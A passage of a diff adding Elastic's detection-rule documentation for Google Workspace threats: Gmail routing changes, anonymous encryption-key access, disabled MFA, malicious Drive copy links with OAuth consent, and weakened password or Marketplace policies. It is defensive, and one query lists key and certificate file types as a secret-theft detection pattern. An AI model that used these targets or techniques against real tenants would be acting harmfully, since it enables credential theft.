services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:("CREATE_GMAIL_SETTING" or "CHANGE_GMAIL_SETTING") + and google_workspace.event.type:"EMAIL_SETTINGS" and google_workspace.admin.setting.name:("EMAIL_ROUTE" or "MESSAGE_SECURITY_RULE") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc new file mode 100644 index 0000000000..6bb16a5a4c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user]] +=== Google Workspace Drive Encryption Key(s) Accessed from Anonymous User + +Detects when an external (anonymous) user has viewed, copied or downloaded an encryption key file from a Google Workspace drive. Adversaries may gain access to encryption keys stored in private drives from rogue access links that do not have an expiration. Access to encryption keys may allow adversaries to access sensitive data or authenticate on behalf of users. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/drive/answer/2494822 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Drive Encryption Key(s) Accessed from Anonymous User* + + +Google Workspace Drive allows users to store and share files, including sensitive encryption keys. If shared improperly, these keys can be accessed by unauthorized users, potentially leading to data breaches. Adversaries exploit links with open access to obtain these keys. The detection rule identifies suspicious activities, such as anonymous access to key files, by monitoring file actions and link visibility settings. + + +*Possible investigation steps* + + +- Review the file activity logs to identify the specific file(s) accessed by the anonymous user, focusing on actions such as "copy", "view", or "download" and the file extensions listed in the query. +- Check the sharing settings of the accessed file(s) to confirm if they are set to "people_with_link" and assess whether this level of access is appropriate for the file's sensitivity. +- Investigate the source of the rogue access link by examining any recent changes to the file's sharing settings or any unusual activity in the file's access history. +- Identify and contact the file owner or relevant stakeholders to verify if the sharing of the file was intentional and authorized. +- Assess the potential impact of the accessed encryption key(s) by determining what systems or data they protect and evaluate the risk of unauthorized access. +- Consider revoking or changing the encryption keys if unauthorized access is confirmed to mitigate potential security risks. + + +*False positive analysis* + + +- Shared project files with encryption keys may trigger alerts if accessed by external collaborators. To manage this, ensure that only trusted collaborators have access and consider using Google Workspace's sharing settings to restrict access to specific users. +- Automated backup systems that access encryption keys for legitimate purposes might be flagged. Verify the source of access and, if legitimate, create an exception for the backup system's IP address or service account. +- Internal users accessing encryption keys via shared links for routine tasks could be misidentified as anonymous users. Encourage users to access files through authenticated sessions and adjust monitoring rules to recognize internal IP ranges or user accounts. +- Third-party integrations that require access to encryption keys might cause false positives. Review the integration's access patterns and whitelist known, secure integrations to prevent unnecessary alerts. +- Temporary access links for external audits or compliance checks can be mistaken for unauthorized access. Use time-bound access links and document these activities to differentiate them from potential threats. + + +*Response and remediation* + + +- Immediately revoke access to the specific Google Workspace Drive file by changing its sharing settings to restrict access to only authorized users. +- Conduct a thorough review of the file's access history to identify any unauthorized access and determine the scope of potential data exposure. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and any potential data compromise. +- Rotate and replace any encryption keys that were accessed or potentially compromised to prevent unauthorized use. +- Implement additional monitoring and alerting for similar file types and sharing settings to detect future unauthorized access attempts. +- Escalate the incident to senior management and, if necessary, involve legal or compliance teams to assess any regulatory implications. +- Review and update access policies and sharing settings within Google Workspace to ensure that sensitive files are not shared with open access links. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +file where data_stream.dataset == "google_workspace.drive" and event.action : ("copy", "view", "download") and + google_workspace.drive.visibility: "people_with_link" and source.user.email == "" and + file.extension: ( + "token","assig", "pssc", "keystore", "pub", "pgp.asc", "ps1xml", "pem", "gpg.sig", "der", "key", + "p7r", "p12", "asc", "jks", "p7b", "signature", "gpg", "pgp.sig", "sst", "pgp", "gpgz", "pfx", "crt", + "p8", "sig", "pkcs7", "jceks", "pkcs8", "psc1", "p7c", "csr", "cer", "spc", "ps2xml") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-mfa-enforcement-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-mfa-enforcement-disabled.asciidoc new file mode 100644 index 0000000000..2dcdd6b699 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-mfa-enforcement-disabled.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-21-google-workspace-mfa-enforcement-disabled]] +=== Google Workspace MFA Enforcement Disabled + +Detects when multi-factor authentication (MFA) enforcement is disabled for Google Workspace users. An adversary may disable MFA enforcement in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace MFA Enforcement Disabled* + + +Multi-factor authentication is a process in which users are prompted during the sign-in process for an additional form of identification, such as a code on their cellphone or a fingerprint scan. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the password is weak or has been exposed elsewhere, an attacker could be using it to gain access. When you require a second form of authentication, security is increased because this additional factor isn't something that's easy for an attacker to obtain or duplicate. + +For more information about using MFA in Google Workspace, access the https://support.google.com/a/answer/175197[official documentation]. + +This rule identifies the disabling of MFA enforcement in Google Workspace. This modification weakens the security of the accounts and can lead to the compromise of accounts and other assets. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate the multi-factor authentication enforcement. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin + and event.category:iam and event.action:ENFORCE_STRONG_AUTHENTICATION + and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc new file mode 100644 index 0000000000..f61305622b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-google-workspace-object-copied-to-external-drive-with-app-consent]] +=== Google Workspace Object Copied to External Drive with App Consent + +Detects when a user copies a Google spreadsheet, form, document or script from an external drive. Sequence logic has been added to also detect when a user grants a custom Google application permission via OAuth shortly after. An adversary may send a phishing email to the victim with a Drive object link where "copy" is included in the URI, thus copying the object to the victim's drive. If a container-bound script exists within the object, execution will require permission access via OAuth in which the user has to accept. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two +* https://developers.google.com/apps-script/guides/bound +* https://support.google.com/a/users/answer/13004165#share_make_a_copy_links + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Object Copied to External Drive with App Consent* + + +Google Workspace users can share access to Drive objects such as documents, sheets, and forms via email delivery or a shared link. Shared link URIs have parameters like `view` or `edit` to indicate the recipient's permissions. The `copy` parameter allows the recipient to copy the object to their own Drive, which grants the object with the same privileges as the recipient. Specific objects in Google Drive allow container-bound scripts that run on Google's Apps Script platform. Container-bound scripts can contain malicious code that executes with the recipient's privileges if in their Drive. + +This rule aims to detect when a user copies an external Drive object to their Drive storage and then grants permissions to a custom application via OAuth prompt. + + +*Possible investigation steps* + +- Identify user account(s) associated by reviewing `user.name` or `source.user.email` in the alert. +- Identify the name of the file copied by reviewing `file.name` as well as the `file.id` for triaging. +- Identify the file type by reviewing `google_workspace.drive.file.type`. +- With the information gathered so far, query across data for the file metadata to determine if this activity is isolated or widespread. +- Within the OAuth token event, identify the application name by reviewing `google_workspace.token.app_name`. + - Review the application ID as well from `google_workspace.token.client.id`. + - This metadata can be used to report the malicious application to Google for permanent blacklisting. +- Identify the permissions granted to the application by the user by reviewing `google_workspace.token.scope.data.scope_name`. + - This information will help pivot and triage into what services may have been affected. +- If a container-bound script was attached to the copied object, it will also exist in the user's drive. + - This object should be removed from all users affected and investigated for a better understanding of the malicious code. + + +*False positive analysis* + +- Communicate with the affected user to identify if these actions were intentional +- If a container-bound script exists, review code to identify if it is benign or malicious + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. + - Resetting passwords will revoke OAuth tokens which could have been stolen. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://cloud.google.com/security-command-center/docs/how-to-investigate-threats[provided by Google]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.user.email with maxspan=3m +[file where data_stream.dataset == "google_workspace.drive" and event.action == "copy" and + + /* Should only match if the object lives in a Drive that is external to the user's GWS organization */ + google_workspace.drive.owner_is_team_drive == "false" and google_workspace.drive.copy_type == "external" and + + /* Google Script, Forms, Sheets and Document can have container-bound scripts */ + google_workspace.drive.file.type: ("script", "form", "spreadsheet", "document")] + +[any where data_stream.dataset == "google_workspace.token" and event.action == "authorize" and + + /* Ensures application ID references custom app in Google Workspace and not GCP */ + google_workspace.token.client.id : "*apps.googleusercontent.com"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-password-policy-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-password-policy-modified.asciidoc new file mode 100644 index 0000000000..c88c5deb06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-password-policy-modified.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-google-workspace-password-policy-modified]] +=== Google Workspace Password Policy Modified + +Detects when a Google Workspace password policy is modified. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Password Policy Modified* + + +Google Workspace administrators manage password policies to enforce password requirements for an organization's compliance needs. Administrators have the capability to set restrictions on password length, reset frequency, reuse capability, expiration, and much more. Google Workspace also allows multi-factor authentication (MFA) and 2-step verification (2SV) for authentication. + +Threat actors might rely on weak password policies or restrictions to attempt credential access by using password stuffing or spraying techniques for cloud-based user accounts. Administrators might introduce increased risk to credential access from a third-party by weakening the password restrictions for an organization. + +This rule detects when a Google Workspace password policy is modified to decrease password complexity or to adjust the reuse and reset frequency. + + +*Possible investigation steps* + + +- Identify associated user account(s) by reviewing the `user.name` or `source.user.email` fields in the alert. +- Identify the password setting that was created or adjusted by reviewing `google_workspace.admin.setting.name` field. +- Check if a password setting was enabled or disabled by reviewing the `google_workspace.admin.new_value` and `google_workspace.admin.old_value` fields. +- After identifying the involved user, verify administrative privileges are scoped properly to change. +- Filter `event.dataset` for `google_workspace.login` and aggregate by `user.name`, `event.action`. + - The `google_workspace.login.challenge_method` field can be used to identify the challenge method used for failed and successful logins. + + +*False positive analysis* + + +- After identifying the user account that updated the password policy, verify whether the action was intentional. +- Verify whether the user should have administrative privileges in Google Workspace to modify password policies. +- Review organizational units or groups the role may have been added to and ensure the new privileges align properly. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider resetting passwords for potentially affected users. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators might observe lag times ranging from several minutes to 3 days between the event occurrence time and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, the Filebeat module, or data that's similarly structured is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and + event.action:(CHANGE_APPLICATION_SETTING or CREATE_APPLICATION_SETTING) and + google_workspace.admin.setting.name:( + "Password Management - Enforce strong password" or + "Password Management - Password reset frequency" or + "Password Management - Enable password reuse" or + "Password Management - Enforce password policy at next login" or + "Password Management - Minimum password length" or + "Password Management - Maximum password length" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc new file mode 100644 index 0000000000..1efb347f4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app]] +=== Google Workspace Restrictions for Marketplace Modified to Allow Any App + +Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6089179?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Restrictions for Marketplace Modified to Allow Any App* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Applications can be installed by individual users, if they have permission, or can be installed for an entire Google Workspace domain by administrators. Consent screens typically display what permissions and privileges the application requires during installation. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any product on the Marketplace that originates from a source other than Google. + +This rule identifies when the global allow-all setting is enabled for Google Workspace Marketplace applications. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- Search for `event.action` is `ADD_APPLICATION` to identify applications installed after these changes were made. + - The `google_workspace.admin.application.name` field will help identify what applications were added. +- With the user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Google Workspace administrators may intentionally add an application from the marketplace based on organizational needs. + - Follow up with the user who added the application to ensure this was intended. +- Verify the application identified has been assessed thoroughly by an administrator. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - 